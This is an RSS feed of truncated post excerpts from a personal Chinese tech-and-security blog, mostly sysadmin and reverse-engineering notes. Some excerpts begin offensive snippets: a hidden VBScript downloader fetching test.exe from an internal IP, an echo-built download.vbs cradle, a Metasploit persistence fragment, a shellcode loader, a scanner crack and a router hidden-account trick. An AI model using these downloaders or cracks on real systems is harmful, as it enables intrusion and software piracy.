https://xsecs.com/Some shits about tech.zh-CNhttps://xsecs.com/archives/831/https://xsecs.com/archives/831/在VM workstation上虚拟网络编辑器，选中nat网络，NAT设置，DNS设置，填上DNS地址，问题解决Sat, 13 Nov 2021 00:00:00 GMTSechttps://xsecs.com/archives/826/https://xsecs.com/archives/826/Mac突然无法进入系统，现象是正常模式进入系统输入完密码提示『mac需要安装关键性软件更新 / critical software update is required』 搜索引擎搜索中文"mac需要安装关键性软件更新"，基本都是说换T1芯片，还有说换CPU的，也有人说彻底重装系统能好 https:…Thu, 07 Oct 2021 00:00:00 GMTSechttps://xsecs.com/archives/808/https://xsecs.com/archives/808/结论：目前win10上Docker后端要不然WSL2要不然Hyper-V，不管用哪种都会影响vt-x，目前能让vmware/安卓模拟器和Docker共存的方法只有放弃vt-x 以下是如果非要使用vt-x的切换方法 1.使用Docker(WSL2/Hyper-V) bcdedit /set hyper…Mon, 01 Feb 2021 00:00:00 GMTSechttps://xsecs.com/archives/805/https://xsecs.com/archives/805/https://xz.aliyun.com/t/1654#toc-6 vbs 第一种把下载地址直接echo输入download.vbs。直接下载即可。 echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set She…Wed, 11 Nov 2020 00:00:00 GMTSechttps://xsecs.com/archives/785/https://xsecs.com/archives/785/Mon, 12 Oct 2020 00:00:00 GMTSechttps://xsecs.com/archives/779/https://xsecs.com/archives/779/格式化成fat32，然后iso内镜像所有内容考进去即可。 服务器启动模式要改成UEFI 参考： https://blog.csdn.net/qiaohewei/article/details/107748919 https://virtuallywired.io/2020/08/01/create-…Fri, 11 Sep 2020 00:00:00 GMTSechttps://xsecs.com/archives/773/https://xsecs.com/archives/773/OOB = out of boundary 部分参照： https://eternalsakura13.com/2018/05/06/v8/ 1.准备代理，git仓库走本地流量，depot_tools走代理 source proxy export no_proxy=10.10.10.xxx,127.…Sat, 05 Sep 2020 00:00:00 GMTSechttps://xsecs.com/archives/769/https://xsecs.com/archives/769/docker run --detach --env HTTP_PROXY="http://172.19.112.1:7890" --env HTTPS_PROXY="http://172.19.112.1:7890" --env RSYNC_PROXY="172.19.112.1:7890" --p…Tue, 25 Aug 2020 00:00:00 GMTSechttps://xsecs.com/archives/763/https://xsecs.com/archives/763/apt install libpython3.7-devSun, 24 May 2020 00:00:00 GMTSechttps://xsecs.com/archives/758/https://xsecs.com/archives/758/原来竟然有这么多人在做C2，大开眼界。 https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574188899.pdf https://www.thec2matrix.com/matrixSat, 09 May 2020 00:00:00 GMTSechttps://xsecs.com/archives/752/https://xsecs.com/archives/752/https://darkwing.moe/2019/06/20/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B020-%E5%85%B6%E4%BB%96%E4%B8%80%E4%BA%9B%E6%8A%80%E6%9C%AF/ 本地权限提升下的ASLR 这类问题在ge…Thu, 23 Apr 2020 00:00:00 GMTSechttps://xsecs.com/archives/741/https://xsecs.com/archives/741/https://www.cnblogs.com/flhang/p/10591639.html PYTHON C++混合编程笔记（一）- VS2017 编译 python 2.7 0x00 前言 最近想把一些经验和笔记分享出来，也便于自己查询和复习。 0x01 环境准备 1） 下载python 最新2…Sun, 19 Apr 2020 00:00:00 GMTSechttps://xsecs.com/archives/734/https://xsecs.com/archives/734/https://jlajara.gitlab.io/posts/2018/11/26/process-migration.html https://security.stackexchange.com/questions/90578/how-does-process-migration-work-i…Thu, 16 Apr 2020 00:00:00 GMTSechttps://xsecs.com/archives/730/https://xsecs.com/archives/730/https://www.apple.com.cn/privacy/government-information-requests/ https://www.apple.com/legal/transparency/ https://www.apple.com/legal/transparency/c…Mon, 09 Mar 2020 00:00:00 GMTSechttps://xsecs.com/archives/725/https://xsecs.com/archives/725/https://serverfault.com/questions/704806/how-to-get-autoscaling-group-instances-ip-adresses #!/bin/bash for i in `aws autoscaling describe-auto-scalin…Sat, 29 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/718/https://xsecs.com/archives/718/1.拉镜像 docker pull registry 2.建立目录，auth放账户认证信息，home用来映射到容器内存放仓库内镜像文件 mkdir /home/hd/docker_home/ mkdir /home/hd/docker_home/auth/ mkdir /home/hd/docker…Fri, 28 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/720/https://xsecs.com/archives/720/1.创建一个与旧系统同样系统的虚拟机，选择最小化配置省钱。 2.停止新虚机，把磁盘解除挂载。 3.将磁盘挂载到老虚机上 4.建立挂载点，挂载磁盘： mkdir /new mount /dev/nvme1n1p1 /new 4.删除/new/中除了"/dev/*","/proc/*","/sys/*"…Fri, 28 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/709/https://xsecs.com/archives/709/https://www.maketecheasier.com/see-pc-startup-and-shutdown-history-in-windows/ https://serverfault.com/questions/702828/windows-server-restart-shutdow…Thu, 27 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/697/https://xsecs.com/archives/697/net.ipv4.tcp_syn_retries = 2 net.ipv4.tcp_synack_retries = 1 net.ipv4.tcp_keepalive_time = 600 net.ipv4.tcp_keepalive_probes = 3 net.ipv4.tcp_keepaliv…Tue, 11 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/699/https://xsecs.com/archives/699/https://www.cyberciti.biz/faq/linux-add-a-swap-file-howto/ Procedure To Add a Swap File Under Linux You need to use the dd command to create swap file…Tue, 11 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/701/https://xsecs.com/archives/701/https://segmentfault.com/a/1190000005797776 前言 自己做了一个iOS App，需要访问自己的网站获取数据，但是系统默认只能直接访问https的网站。不想让应用改用http的服务。因此，研究如何启用https，本文即是介绍如何在CentOS上配合Nginx使…Tue, 11 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/703/https://xsecs.com/archives/703/https://www.bantrain.com/how-to-install-haproxy-2-0-in-amazon-linux-2-centos-rhel/ First, Install dependencies needed to build HAProxy yum install -y …Tue, 11 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/683/https://xsecs.com/archives/683/https://www.haproxy.com/blog/application-layer-ddos-attack-protection-with-haproxy/ Protecting TCP (non-HTTP) Services So far, we’ve primarily covered…Mon, 10 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/685/https://xsecs.com/archives/685/https://www.liquidweb.com/kb/basic-dosddos-mitigation-with-the-csf-firewall/ Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks …Mon, 10 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/691/https://xsecs.com/archives/691/https://download.configserver.com/csf/install.txt ############################################################################### # Copyright 2006-201…Mon, 10 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/693/https://xsecs.com/archives/693/https://coffieldweb.com/weblog/2019/09/04/install-webmin-aws-amazon-linux-2/ Today we're going to install one of our favorite Linux management tools. …Mon, 10 Feb 2020 00:00:00 GMTSechttps://xsecs.com/archives/679/https://xsecs.com/archives/679/1.查看~/.msf4/msf-ws.log，如果是 dyld: lazy symbol binding failed: Symbol not found: _SSL_library_init Referenced from: /Users/xxxx/.rbenv/versions/2.6.5/li…Sat, 04 Jan 2020 00:00:00 GMTSechttps://xsecs.com/archives/677/https://xsecs.com/archives/677/https://www.raspberrypi.org/documentation/installation/installing-images/mac.md Note: The use of the dd tool can overwrite any partition of your machi…Fri, 13 Dec 2019 00:00:00 GMTSechttps://xsecs.com/archives/671/https://xsecs.com/archives/671/https://forums.aws.amazon.com/thread.jspa?threadID=307496 https://lightsail.aws.amazon.com/ls/docs/en_us/articles/amazon-lightsail-updating-database-p…Mon, 12 Aug 2019 00:00:00 GMTSechttps://xsecs.com/archives/659/https://xsecs.com/archives/659/https://lanjingling.github.io/2016/05/10/linux-socket-youhua1/ 可以通过ulimit –a命令来查看系统的一些资源限制情况，如下： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # ulimit -a…Sun, 05 May 2019 00:00:00 GMTSechttps://xsecs.com/archives/661/https://xsecs.com/archives/661/#!/bin/sh if [ true != "$INIT_D_SCRIPT_SOURCED" ] ; then set "$0" "$@"; INIT_D_SCRIPT_SOURCED=true . /lib/init/init-d-script fi ### BEGIN INIT INFO # …Sun, 05 May 2019 00:00:00 GMTSechttps://xsecs.com/archives/655/https://xsecs.com/archives/655/DECLARE @name VARCHAR(50) -- database name DECLARE @path VARCHAR(256) -- path for backup files DECLARE @fileName VARCHAR(256) -- filename for backup D…Sun, 21 Apr 2019 00:00:00 GMTSechttps://xsecs.com/archives/643/https://xsecs.com/archives/643/patch_awvs md5: d2a234cbdb477c8dcfff8914266f908b 使用方法：下载原版demo v190325161，安装完之后把patch_awvs放到扫描器执行文件目录（例如：/home/acunetix/.acunetix_trial/v_190325161/sc…Sat, 06 Apr 2019 00:00:00 GMTSechttps://xsecs.com/archives/633/https://xsecs.com/archives/633/https://docs.microsoft.com/zh-cn/sql/linux/quickstart-install-connect-docker?view=sql-server-2017&pivots=cs1-bash docker pull mcr.microsoft.com/mssql/…Fri, 29 Mar 2019 00:00:00 GMT未分类https://xsecs.com/archives/624/https://xsecs.com/archives/624/https://support.portswigger.net/customer/en/portal/articles/2590771-sql-injection-in-the-query-structure If user-supplied data is being inserted into …Thu, 28 Mar 2019 00:00:00 GMT未分类https://xsecs.com/archives/619/https://xsecs.com/archives/619/服务端 https://github.com/hwdsl2/setup-ipsec-vpn 客户端 https://github.com/usualwyy/l2pt-vpn-clientMon, 25 Mar 2019 00:00:00 GMT未分类https://xsecs.com/archives/608/https://xsecs.com/archives/608/https://unix.stackexchange.com/questions/249654/message-at-shutdown-watchdog-did-not-stop 1) Edit the file at /etc/default/grub and edit the GRUB_CMDL…Thu, 28 Feb 2019 00:00:00 GMT未分类https://xsecs.com/archives/605/https://xsecs.com/archives/605/By default, Cloudflare acts as a reverse proxy. As such, all connections to your origin web server come from Cloudflare IP addresses, and there are so…Tue, 23 Oct 2018 00:00:00 GMT未分类https://xsecs.com/archives/603/https://xsecs.com/archives/603/It seems like there is an entirely different method for changing the open files limit for each version of OS X! For OS X Sierra (10.12.X) you need to:…Tue, 16 Oct 2018 00:00:00 GMT未分类https://xsecs.com/archives/601/https://xsecs.com/archives/601/原因是无法正确index引用包里的大体积文件造成 解决方法： 1.将goland.vmoptions内JMV内存限制改成 -Xmx4096m 2.help ->edit custome properties 增加 idea.max.intellisense.filesize=999999Mon, 15 Oct 2018 00:00:00 GMT未分类https://xsecs.com/archives/597/https://xsecs.com/archives/597/测试环境： 设备基本信息 设备型号: HG225GS 设备标识号: xxxxxxxxxxx 硬件版本: BCM.V2.0 软件版本: HG225GS_D1.00_JS1606 1、在浏览器上输入 http://192.168.1.1/logoffaccount.html，设置隐藏用户改为启用，这样就…Fri, 05 Oct 2018 00:00:00 GMT未分类https://xsecs.com/archives/589/https://xsecs.com/archives/589/Mac: pip install frida-tools # CLI tools pip install frida # Python bindings npm install frida # Node.js bindings iOS: cydia: https://build.frida.reFri, 14 Sep 2018 00:00:00 GMT未分类https://xsecs.com/archives/580/https://xsecs.com/archives/580/转自：https://www.giuem.com/caddy-tutorial-for-debian/ 下载安装 首先去 Download Caddy 选择你需要的插件，然后复制下方的 One-step installer script (bash)，例如我的是 curl https://getca…Mon, 21 May 2018 00:00:00 GMT未分类https://xsecs.com/archives/582/https://xsecs.com/archives/582/https://caddy.community/t/caddy-wont-start-could-not-start-http-server-for-challenge-listen-tcp-80-bind-permission-denied/2543 修改服务文件，取消以下注释： ;Capabil…Mon, 21 May 2018 00:00:00 GMT未分类https://xsecs.com/archives/574/https://xsecs.com/archives/574/转自：link 前言 写在这里，算是mark一下，给后来的同学少走一些弯路。 本教程仅适用于 macOS, Linux 系统请看我的这篇教程，Golang教程：使用 Ubuntu 系统编译可在 iOS 设备上运行的Go语言程序 Hello-World 是我写的一个example，Github地址 G…Wed, 09 May 2018 00:00:00 GMT未分类https://xsecs.com/archives/569/https://xsecs.com/archives/569/CPACR_FPEN_MASK = (0x3 << 20) CPACR_FPEN_TRAP_NONE = (0x3 << 20) cpacr = mu.reg_read(UC_ARM64_REG_CPACR_EL1) cpacr = (cpacr & ~CPACR_FPEN_MASK) | CPAC…Mon, 16 Apr 2018 00:00:00 GMT未分类https://xsecs.com/archives/567/https://xsecs.com/archives/567/ARM AND THUMB MODE SWITCH INSTRUCTIONS This processor has two instruction encodings: ARM and THUMB. IDA allows to specify the encoding mode for every …Fri, 13 Apr 2018 00:00:00 GMT未分类https://xsecs.com/archives/565/https://xsecs.com/archives/565/我简单给你说ollvm的特征 ollvm的bcf的话 可以去找两个同级的sub 然后 算了不说了 两个同级的bb，不搞编译器的叫loc吧。不叫sub 有一个是循环自己 还有一个是往下走的 伪代码是一大串if true xxxx嵌套 这就是bcf，循环自己的那个就是假的控制流 ollvm的fla很明显…Fri, 06 Apr 2018 00:00:00 GMT未分类https://xsecs.com/archives/560/https://xsecs.com/archives/560/1.xcode随便新建一个工程，在真机上跑一遍。这样/Developer/usr/bin 下就会有debugserver。 2.sftp把debugserver拉回本地，在同目录下新建plist文件entitlements.plist，内容如下： <?xml version="1.0" encodi…Sat, 10 Mar 2018 00:00:00 GMT未分类https://xsecs.com/archives/562/https://xsecs.com/archives/562/export PATH=/usr/bin:$PATH 切回系统自带pythonSat, 10 Mar 2018 00:00:00 GMT未分类https://xsecs.com/archives/558/https://xsecs.com/archives/558/1.sftp往手机里传以下文件： cycript(解压) dumpdecrypted.dylib（下回来源码直接make编译） 2.ps -e找到目标进程x 3.cycript -p x 4.[[NSFileManager defaultManager] URLsForDirectory:NSDoc…Thu, 08 Mar 2018 00:00:00 GMT未分类https://xsecs.com/archives/556/https://xsecs.com/archives/556/两种原因： 1.驱动被gatekeeper拦截，在设置里允许就行 2.不明原因驱动无法加载，具体表现为VM自带的4个驱动中某个或多个无法正常加载，可以通过kextstat |grep vm查看，正常请款下加载的4个驱动是： 184 1 0xffffff7f85fad000 0x11000 0x110…Tue, 06 Mar 2018 00:00:00 GMT未分类https://xsecs.com/archives/550/https://xsecs.com/archives/550/1.高版本code段下硬件写断点，跑到后面等解密 特征 rep movs byte ptr es:[edi],byte ptr ds:[esi] 2.低版本以VM解VM 1. .text段下内存写入断点,shift+F9,取消内存断点. 2. bp GetProcessHeap+C,F9,取消断点.…Sat, 03 Feb 2018 00:00:00 GMT未分类https://xsecs.com/archives/544/https://xsecs.com/archives/544/yara: sudo pip install yara-python,不行下载安装 vim /usr/local/lib/python2.7/site-packages/yara/libyara_wrapper.py 修改308行左右 else: #dllpath = os.path.join(sy…Fri, 12 Jan 2018 00:00:00 GMTdecompilehttps://xsecs.com/archives/541/https://xsecs.com/archives/541/官网获奖插件： https://www.hex-rays.com/contests/2017/index.shtml 转自http://skysider.com/?p=458 1.静态分析 IDA FLIRT Signature Database —— 用于识别静态编译的可执行文件中的库函数 Fin…Mon, 08 Jan 2018 00:00:00 GMTSechttps://xsecs.com/archives/538/https://xsecs.com/archives/538/1、#kill -9 $(ps -ef|grep 进程名关键字|gawk '$0 !~/grep/ {print $2}' |tr -s '\n' ' ')这个是利用管道和替换将 进程名对应的进程号提出来作为kill的参数。 很显然上面的方法能完成但是过于复杂，下面这种就显得简单的多了 2、#kil…Tue, 26 Dec 2017 00:00:00 GMT未分类https://xsecs.com/archives/536/https://xsecs.com/archives/536/函数 过程 表名 trigger保持大写，否则默认大小写敏感找不到对象 sqlplus username/pass@//172.31.xxx.xxx:1521/ORCLSun, 24 Dec 2017 00:00:00 GMT未分类https://xsecs.com/archives/533/https://xsecs.com/archives/533/收缩数据库： DBCC SHRINKDATABASE(database) SQL2008清空删除日志: 方法一： USE [master] GO ALTER DATABASE database SET RECOVERY SIMPLE WITH NO_WAIT GO ALTER DATABASE da…Tue, 12 Dec 2017 00:00:00 GMT未分类https://xsecs.com/archives/531/https://xsecs.com/archives/531/sudo npm install -g xxxxx --unsafe-perm=true --allow-rootFri, 08 Dec 2017 00:00:00 GMT未分类https://xsecs.com/archives/524/https://xsecs.com/archives/524/--查询最慢的sql select * from ( select parsing_user_id,executions,sorts command_type,disk_reads,sql_text from v$sqlarea order by disk_reads desc )where row…Mon, 06 Nov 2017 00:00:00 GMT未分类https://xsecs.com/archives/520/https://xsecs.com/archives/520/转自：stackoverflow.com PUT _ingest/pipeline/my_rename_pipeline { "description" : "describe pipeline", "processors" : [ { "rename": { "field": "fieldCame…Mon, 16 Oct 2017 00:00:00 GMT未分类https://xsecs.com/archives/517/https://xsecs.com/archives/517/初始化： gomobile init -ndk /Users/usualwyy/Library/Android/sdk/ndk-bundle/ android: gomobile bind -target=android/arm ios: gomobile bind -target=ios/armMon, 09 Oct 2017 00:00:00 GMT未分类https://xsecs.com/archives/515/https://xsecs.com/archives/515/CREATE DEFINER=`root`@`localhost` `xxxxxxx`() 替换成 CREATE DEFINER=CURRENT_USER PROCEDURE `xxxxxxx`() 否则报权限错误Thu, 28 Sep 2017 00:00:00 GMT未分类https://xsecs.com/archives/510/https://xsecs.com/archives/510/select b.SQL_TEXT,b.LAST_ACTIVE_TIME,b.SQL_FULLTEXT from v$sqlarea b where module='xxxxx.exe' order by b.LAST_ACTIVE_TIME descMon, 18 Sep 2017 00:00:00 GMT未分类https://xsecs.com/archives/502/https://xsecs.com/archives/502/首先安装IPV6（xp下IPV6必须安装，否则端口转发不可用！） netsh interface ipv6 install 添加一个IPV4到IPV4的端口映射 netsh interface portproxy add v4tov4 listenaddress=192.168.193.1 list…Mon, 04 Sep 2017 00:00:00 GMT未分类https://xsecs.com/archives/498/https://xsecs.com/archives/498/http://docs.aws.amazon.com/zh_cn/AmazonRDS/latest/UserGuide/Oracle.Procedural.Importing.html 本地必须有个Oracle数据库。 先建立数据库到数据库的链路 create public database lin…Sun, 03 Sep 2017 00:00:00 GMT未分类https://xsecs.com/archives/494/https://xsecs.com/archives/494/C:/windows/debug/netsetup.log C:/windows/system32/LogFiles/Cluster/clusocm.logSun, 30 Jul 2017 00:00:00 GMT未分类https://xsecs.com/archives/483/https://xsecs.com/archives/483/http://www.b3rn3d.com/blog/2014/03/05/tor-country-codes/ Tor has the ability to let you choose which exit nodes you’d like to use – either by name, fi…Fri, 09 Jun 2017 00:00:00 GMT未分类https://xsecs.com/archives/457/https://xsecs.com/archives/457/转自：https://www.91yun.org/archives/1415 第一步：创建磁盘 第二步创建一个新的配置文件 按我这红框的选，有 3 个地方要改： VM MODE 选全虚拟 Kernel 选 Direct DISK 启动磁盘选你刚才创建的磁盘 第三步进入救援模式 第四步开启远程控制 页…Thu, 08 Jun 2017 00:00:00 GMT未分类https://xsecs.com/archives/444/https://xsecs.com/archives/444/https://www.digitalocean.com/community/tutorials/how-to-install-java-on-ubuntu-with-apt-get Introduction As a lot of articles and programs require to …Fri, 19 May 2017 00:00:00 GMT未分类https://xsecs.com/archives/446/https://xsecs.com/archives/446/当我们被人雇来监测MySQL性能时，人们希望我们能够检视一下MySQL配置然后给出一些提高建议。许多人在事后都非常惊讶，因为我们建议他们仅仅改动几个设置，即使是这里有好几百个配置项。这篇文章的目的在于给你一份非常重要的配置项清单。 我们曾在几年前在博客里给出了这样的建议，但是MySQL的世界变化实在…Fri, 19 May 2017 00:00:00 GMT未分类https://xsecs.com/archives/448/https://xsecs.com/archives/448/systemctl daemon-reloadFri, 19 May 2017 00:00:00 GMT未分类https://xsecs.com/archives/438/https://xsecs.com/archives/438/Here is the answer that worked for me, after Hamish helped me to realize my typo: To add a new password, use luksAddKey: sudo cryptsetup luksAddKey /d…Sat, 06 May 2017 00:00:00 GMT未分类https://xsecs.com/archives/440/https://xsecs.com/archives/440/blkid 查看 uuid 如下 ps：或者使用uuidgen 《设备》查看具体设备的uuid reddusty@reddusty-X550JK:~$ sudo blkid [sudo] password for reddusty: /dev/sda1: LABEL="M-OM-5M-MM-3M-1…Sat, 06 May 2017 00:00:00 GMT未分类https://xsecs.com/archives/435/https://xsecs.com/archives/435/故障显示，log日志里时间错的，但控制台对的，为了方便解决大家问题，两种故障的解决方法如下 1、控制台时间少8小时 解决方案： 1、查看电脑的时区是否正确 2、修改catalina.bat文件 set JAVA_OPTS=%JAVA_OPTS% -Duser.timezone=GMT+08 在最后几…Tue, 02 May 2017 00:00:00 GMT未分类https://xsecs.com/archives/421/https://xsecs.com/archives/421/<script language="VBScript"> window.moveTo 8888,8888 u="http://192.168.1.23/test.exe" p="m.exe" Set x=CreateObject("Microsoft.XMLHTTP") x.Open"GET",u,…Mon, 17 Apr 2017 00:00:00 GMT未分类https://xsecs.com/archives/423/https://xsecs.com/archives/423/CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build /xxx/xxx/xxx.go -o /xxx 减小体积：-ldflags "-s -w" https://golang.org/doc/install/source#environment $GOOS…Mon, 17 Apr 2017 00:00:00 GMT未分类https://xsecs.com/archives/417/https://xsecs.com/archives/417/This simple information might be useful for you who use metasploit framework :-). You will find out this EXITFUNC switch when you create a payload fro…Sat, 15 Apr 2017 00:00:00 GMT未分类https://xsecs.com/archives/415/https://xsecs.com/archives/415/直接使用命令行： ssh root@IP -p port -o ProxyCommand='nc -x 127.0.0.1:1086 %h %p' 修改配置文件： vim ~/.ssh/config 添加 ProxyCommand /usr/bin/nc -x 127.0.0.1:1086 %h %…Wed, 12 Apr 2017 00:00:00 GMT未分类https://xsecs.com/archives/407/https://xsecs.com/archives/407/Nginx: #!/bin/bash apt-get install lsb-release wget http://nginx.org/keys/nginx_signing.key apt-key add nginx_signing.key codename=`lsb_release -c |aw…Tue, 11 Apr 2017 00:00:00 GMT未分类https://xsecs.com/archives/409/https://xsecs.com/archives/409/无selinux,高版本MariaDB已默认关闭apparmor设置 问题是服务器设置造成的 修改/lib/systemd/system/mariadb.service ProtectHome=false 默认禁止写/HOME目录，问题解决Tue, 11 Apr 2017 00:00:00 GMT未分类https://xsecs.com/archives/405/https://xsecs.com/archives/405/Re-install your GRUB. Boot using a live cd of ubuntu. Open a terminal and run the command sudo fdisk -l It lists the complete partition table of the h…Wed, 22 Mar 2017 00:00:00 GMT未分类https://xsecs.com/archives/403/https://xsecs.com/archives/403/http://www-uxsup.csx.cam.ac.uk/pub/windows/cygwin/x86/release/Fri, 10 Mar 2017 00:00:00 GMT未分类https://xsecs.com/archives/390/https://xsecs.com/archives/390/I hope you have gone through the tutorial of Lunching Amazon App and must notice the below statement: capabilities.setCapability(“appPackage”, “in.ama…Fri, 03 Mar 2017 00:00:00 GMT未分类https://xsecs.com/archives/400/https://xsecs.com/archives/400/https://pspdfkit.com/guides/ios/current/faq/finding-the-app-bundle-id/ There is no way to directly look up [Bundle IDs][PSPDFKit Guides Bundle ID] in …Fri, 03 Mar 2017 00:00:00 GMT未分类https://xsecs.com/archives/388/https://xsecs.com/archives/388/export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/path/to/libraryTue, 21 Feb 2017 00:00:00 GMT未分类https://xsecs.com/archives/384/https://xsecs.com/archives/384/win2008: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Apache Software Foundation\Procrun 2.0\Tomcat\Parameters\Java 1.startup.bat启动 在tomcat_home/bin目录下找到ca…Sun, 19 Feb 2017 00:00:00 GMT未分类https://xsecs.com/archives/378/https://xsecs.com/archives/378/Tue, 07 Feb 2017 00:00:00 GMT未分类https://xsecs.com/archives/370/https://xsecs.com/archives/370/=================by 大蝉@xs3c.co===============转载请注明出处============= 漏洞描述 所有通过Wifi连入小米路由器网络的设备会触发_hookWifiConnect函数，由_hookWifiConnect调用_doPush给管理员推送设备接入消…Sun, 05 Feb 2017 00:00:00 GMT0dayhttps://xsecs.com/archives/359/https://xsecs.com/archives/359/直接下JDK，里面包含Jre http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 原装openjdk在 /usr/lib/jvm Uncompress archive Now you …Thu, 19 Jan 2017 00:00:00 GMT未分类https://xsecs.com/archives/354/https://xsecs.com/archives/354/Hats off to original author "arschloch". Original version:https://addons.mozilla.org/en-US/firefox/addon/hackbar1/?src=api Feature of my release: 1.Fi…Mon, 16 Jan 2017 00:00:00 GMT未分类https://xsecs.com/archives/343/https://xsecs.com/archives/343/dist-upgrade完黑屏解决办法： sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub update-grub reboot 或者直接在Grub界面在linux....quiet后面加上nouveau.modeset=0，禁…Thu, 12 Jan 2017 00:00:00 GMT未分类https://xsecs.com/archives/326/https://xsecs.com/archives/326/原文: https://www.phpbulo.com/archives/467.html 本人的树莓派使用的是8G的TF卡。可是最近频繁提示 空间不足，df -h 看看已经用了96%了，插到电脑上显示55.9M 可能是windows只能识别fat32这么多，其他可能未被识别。 我们到磁盘管理器中查…Tue, 10 Jan 2017 00:00:00 GMTtechhttps://xsecs.com/archives/336/https://xsecs.com/archives/336/Useful Commands: OS, Networking, Hardware, Wi-Fi Troubleshooting: Kali-Linux Installation, Repository, Wi-Fi Cards (Official Docs) Hardware: Recommend…Tue, 10 Jan 2017 00:00:00 GMT未分类https://xsecs.com/archives/323/https://xsecs.com/archives/323/转自：https://github.com/iMeiji/shadowsocks_install/wiki/%E5%BC%80%E5%90%AFTCP-BBR%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6%E7%AE%97%E6%B3%95 BBR 目的是要尽量跑满带宽, …Thu, 05 Jan 2017 00:00:00 GMT未分类https://xsecs.com/archives/310/https://xsecs.com/archives/310/总体评价：屌炸天 对比在线GPU破解阵列：短时间破解无性价比优势，时间超过5小时以后具有性价比优势 以下是实际测试 BenchMark测试： [root@AliHPC-M40-410 hashcat]# hashcat -b --force hashcat (v3.20-88-gd36cc4c) s…Sun, 01 Jan 2017 00:00:00 GMTSechttps://xsecs.com/archives/308/https://xsecs.com/archives/308/转自：https://community.rapid7.com/thread/3822 What you are experiencing is common on systems in the wild (I see it more often in VM environments). Basic…Fri, 30 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/299/https://xsecs.com/archives/299/转自：https://forums.kali.org/showthread.php?26823-Remote-access-with-SSH-TightVNC-failed-with-new-Kali-2-0 I have, but it involves installing the MATE d…Wed, 28 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/303/https://xsecs.com/archives/303/原文：https://khr0x40sh.wordpress.com/2012/05/22/msf-startup-at-boot-using-msfrpcd-msgpack-msf-rc-files-for-disaster-recovery/ Had an issue I had to solv…Wed, 28 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/305/https://xsecs.com/archives/305/Linux类型系统 下载 http://update.aegis.aliyun.com/download/uninstall.sh 执行下列命令：chmod +x uninstall.sh sh uninstall.sh (Debian为./uninstall.sh) rm /usr/sbin/al…Wed, 28 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/295/https://xsecs.com/archives/295/https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#WARNINGTue, 27 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/276/https://xsecs.com/archives/276/本地可绑定IP与外网IP不一致时 LHOST LPORT用来帮助信标找到服务器 ReverseListenerBindHost 是绑定地址 另外需要关闭AutoVerifySession(原因未知) 问题： https://github.com/rapid7/metasploit-framework…Wed, 21 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/283/https://xsecs.com/archives/283/persist调用 /usr/local/share/metasploit-framework/modules/exploits/windows/local/persistence.rb exe = generate_payload_exe # Generate the vbs payload vp…Wed, 21 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/292/https://xsecs.com/archives/292/refer:https://github.com/VeroFess/shellcode_loader/blob/master/loader.c #include <stdio.h> #ifdef _MSC_VER #define forceinline __forceinline #elif def…Wed, 21 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/274/https://xsecs.com/archives/274/1.eric IDE开发环境 http://eric-ide.python-projects.org/eric-download.html Installation using PyQt5 wheels Installing eric6 and its pre-requisites is easy …Mon, 19 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/266/https://xsecs.com/archives/266/复习一下姿势，转自 http://sec.chinabyte.com/165/12946665.shtml 堆缓冲区溢出 导致堆缓冲区溢出的来源与栈溢出的一致，基本都是因为一些长度检查不充分的操作，唯一不同的地方只是发生问题的对象不是在编译阶段就已经确定分配的栈缓冲区，而是随着程序执行动态分配的堆块…Wed, 14 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/268/https://xsecs.com/archives/268/some tips about rb gem源 https://ruby.taobao.org/ $ gem sources --add https://gems.ruby-china.org/ --remove https://rubygems.org/ $ gem sources -l *** …Wed, 14 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/260/https://xsecs.com/archives/260/ruby的pg库报错： ARCHFLAGS="-arch x86_64" bundle install rb版本 rbenv解决，msf建议的rb版本去github看 Nokogiri 报错 http://stackoverflow.com/questions/24091869/installing…Sun, 04 Dec 2016 00:00:00 GMT未分类https://xsecs.com/archives/255/https://xsecs.com/archives/255/https://github.com/mzet-/linux-exploit-suggester/blob/master/linux-exploit-suggester.shSat, 26 Nov 2016 00:00:00 GMT未分类https://xsecs.com/archives/257/https://xsecs.com/archives/257/文件: caidao-20100928.exe 大小: 200192 字节 MD5: C05D44DBE353525F492208D891B53875 文件: caidao-20111116.exe 大小: 220672 字节 MD5: 5001EF50C7E869253A7C152A638EAB8…Sat, 26 Nov 2016 00:00:00 GMT未分类https://xsecs.com/archives/250/https://xsecs.com/archives/250/http.kali.org/README.mirrorlistTue, 22 Nov 2016 00:00:00 GMT未分类https://xsecs.com/archives/252/https://xsecs.com/archives/252/修改： /lib/systemd/system/greenbone-security-assistant.service systemctl daemon-reload root@kali:~/.vnc# find / -name greenbone* /usr/share/man/man8/gre…Tue, 22 Nov 2016 00:00:00 GMT未分类https://xsecs.com/archives/247/https://xsecs.com/archives/247/1.原始挂载点复杂。 